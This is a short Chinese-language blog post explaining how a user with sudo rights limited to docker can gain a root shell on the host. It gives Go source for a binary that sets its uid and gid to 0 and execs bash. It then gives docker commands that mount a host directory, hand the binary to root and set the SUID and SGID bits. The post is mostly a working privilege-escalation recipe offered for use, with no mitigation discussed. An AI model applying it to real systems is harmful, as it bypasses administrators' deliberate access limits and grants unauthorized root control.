利用 docker 获取 root shell

本文最后由 森林生灵 于 2020/09/05 19:04:30 编辑

文章目录 (?) [+]

    某开发机账户配置的 sudo 权限只能应用于部分命令,,好在可以使用 sudo 运行 docker ,我们可以利用 docker 容器内 root 权限给可执行二进制文件设置 root 持有者、用户组和 SUID、SGID 权限。由于 SUID、SGID 特性,宿主机的普通用户可以在执行该文件时获取该文件的持有者、用户组的权限,因此可以利用这一点将普通用户提权。


    1.编译以下代码

    package main
    
    import (
    	"log"
    	"os"
    	"syscall"
    	"golang.org/x/sys/unix"
    )
    
    func main() {
    	// Setgid
    	_, _, _ = unix.RawSyscall(unix.SYS_SETGID, uintptr(0), 0, 0)
    	// Setuid
    	_, _, _ = unix.RawSyscall(unix.SYS_SETUID, uintptr(0), 0, 0)
    
    	shell := "/usr/bin/bash"
    	if err := syscall.Exec(shell, os.Args[1:], os.Environ()); err != nil {
    		log.Fatalln(err)
    	}
    }

    2. 将可执行文件共享给 docker 容器。

    sudo docker run -it --rm -v /mnt/:/mnt/ ubuntu:latest bash
    
    # 设置文件的持有者和用户组为 root
    chown 0:0 /mnt/shell
    # 设置 SUID、SGID 权限
    chmod +s /mnt/shell

    3. 在宿主机里使用普通用户执行即可获取 root shell。

    本文标题:利用 docker 获取 root shell
    本文链接:https://lanseyujie.com/post/getting-root-shell-by-docker.html
    版权声明:本文使用「署名-非商业性使用-相同方式共享」创作共享协议,转载或使用请遵守署名协议。
    点赞 0 分享 0